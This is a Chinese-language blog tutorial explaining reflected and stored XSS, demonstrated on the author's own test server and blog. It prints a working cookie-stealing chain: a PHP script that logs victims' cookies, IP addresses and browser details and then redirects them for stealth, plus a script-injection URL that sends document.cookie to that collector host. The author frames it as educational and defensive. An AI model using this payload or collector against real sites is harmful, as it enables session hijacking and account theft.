XSS(Cross Site Scripting),跨站脚本攻击,取名XSS是避免和CSS同名。XSS攻击原理:攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。同时这也因为HTTP采用的明文模式,这样就让黑客有机可乘了(在我另一篇文章介绍过利用fiddle可以捕获HTTP报文)。我发现网上很多关于XSS攻击的文章都没有详细说明如何进行一次XSS攻击,本文章的目的不是为了教会读者利用这项技术去盗取用户的信息,给出来的目的只是为了更好地理解XSS是如何进行的,目的是为了更好的防护。
XSS攻击主要分为两种:DOM Based XSS、Stored XSS,前者是基于DOM结构的攻击,后者是将攻击代码嵌入服务器或者数据库中。
DOM Based XSS
1、猜测分析攻击网站的代码
先假设这么一个场景,李佳家登陆了她的淘宝账号,而且确实知道她登陆了,假设我知道了淘宝页面的某个内容是通过url的get获取的,假设为content参数(当然真实的淘宝不会有这个漏洞,这里只是假设而已),假设为
http://172.29.25.24:8080/phpTest/xss.php?content=123
(这是我测试的一个网址),我猜测淘宝会是这样输出的:
<?php
//setcookie("username","李佳家",time()+3600);
//setcookie("password","123456",time()+3600);
echo $_GET['content'];
?>
2、编写获取程序
这就是一个XSS漏洞了,这时候我建立一个自己获取网站test.php,将获取的信息保存在一个cookie.txt文件里面
<?php
$cookie = $_GET['cookie']; //以GET方式获取cookie变量值
$ip = getenv ('REMOTE_ADDR'); //远程主机IP地址
$time=date('Y-m-d g:i:s'); //以“年-月-日 时:分:秒”的格式显示时间
$referer=getenv ('HTTP_REFERER'); //链接来源
$agent = $_SERVER['HTTP_USER_AGENT']; //用户浏览器类型
$fp = fopen('cookie.txt', 'a'); //打开cookie.txt,若不存在则创建它
fwrite($fp," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n"); //写入文件
fclose($fp); //关闭文件
header("Location: http://www.baidu.com"); //将网页重定向到百度,增强隐蔽性
?>
3、制作URL
这时候到了关键的一步了。为了让李佳家发送cookies给我,我会通过一些方式让她点击我制作的URL比如事先知道她的邮箱,我会发给邮件给她。
制作的URL为:
http://172.29.25.24:8080/phpTest/xss.php?content=<script>window.open('http://172.29.25.24:8080/phpTest/test.php?cookie='%2Bdocument.cookie)</script>
分析这个url
i、我将一段JavaScript代码当做content的值
ii、最终淘宝页面输出的content内容为:
<script>window.open('http://172.29.25.24:8080/phpTest/test.php?cookie='+document.cookie)</script>
iii、需要注意一个地方,我看很多文章没有对上面的+替换,我就觉得奇怪,这样怎么可能会起作用呢,因为浏览器会将+号转义为空格,这样就失效了,所以需要将+编码为%2,或者用js的concat函数进行拼接。
iii、看到这个当输出上面的content之后浏览器会跳转到
http://172.29.25.24:8080/phpTest/test.php?cookie='+document.cookie
,而
http://172.29.25.24:8080/phpTest/test.php
就是我获取cookies的程序,这个url还带了从淘宝网站带来的cookie变量,里面存了document.cookie,这就是李佳家在访问淘宝网时的所有cookies了,里面有用户的账号和密码。
那就来实际操作一下吧:
1、将xss.php代码里面的两句注释去掉,模拟两个cookie。
2、这时候李佳家这个大美女点了我给她发的url:
http://172.29.25.24:8080/phpTest/xss.php?content=<script>window.open('http://172.29.25.24:8080/phpTest/test.php?cookie='%2Bdocument.cookie)</script>
3、这时候淘宝网就会执行这条语句:
window.open(‘
http://172.29.25.24:8080/phpTest/test.php?cookie=
‘+document.cookie)
跳转到:
http://172.29.25.24:8080/phpTest/test.php?cookie=
‘+document.cookie
4、最后你打开cookie.txt就会收到李佳家的cookie和浏览器以及她用的操作系统信息了
Stored XSS
存储式XSS攻击的是更加广泛的人,因为它将攻击脚本存储到服务器或者数据库,比如我在某个博客里面写了一篇带有攻击性脚本文章。用户阅读我文章就会中招了。这段脚本其实跟上面的脚本原理是一样的,目的也是为了执行类似于这样的脚本:
<script>window.open('http://172.29.25.24:8080/phpTest/test.php?cookie='%2Bdocument.cookie)</script>
接下来我用我本地的博客程序以身示范一下,我的博客采用的是yii框架,安全性还是可以的比如:
在url后面加上脚本后不会执行这段脚本,还是比较安全的,但是如果我把脚本放在了标题里面(内容里面是不会执行的,之后标题可以)
我把文章标题给修改成我们之前用过的脚本
成功获取了信息:
但是很遗憾,yii不会把cookies是受保护的,所以没能获取到,真是失望。但是这就是存储式XSS原理了。说完这个我要赶紧把我博客的那个XSS漏洞给补了。哈哈哈
总结:
1、XSS攻击原理跟SQL注入的原理都是超级简单的,但是后果却是很严重的,所以希望开发者能够重视一下。
2、DOM Based XSS这种类型攻击针对的是小众人群,所以别乱点邮件里面的连接啊
3、Stored XSS其实危害挺大的,希望大家不要去做违法的事情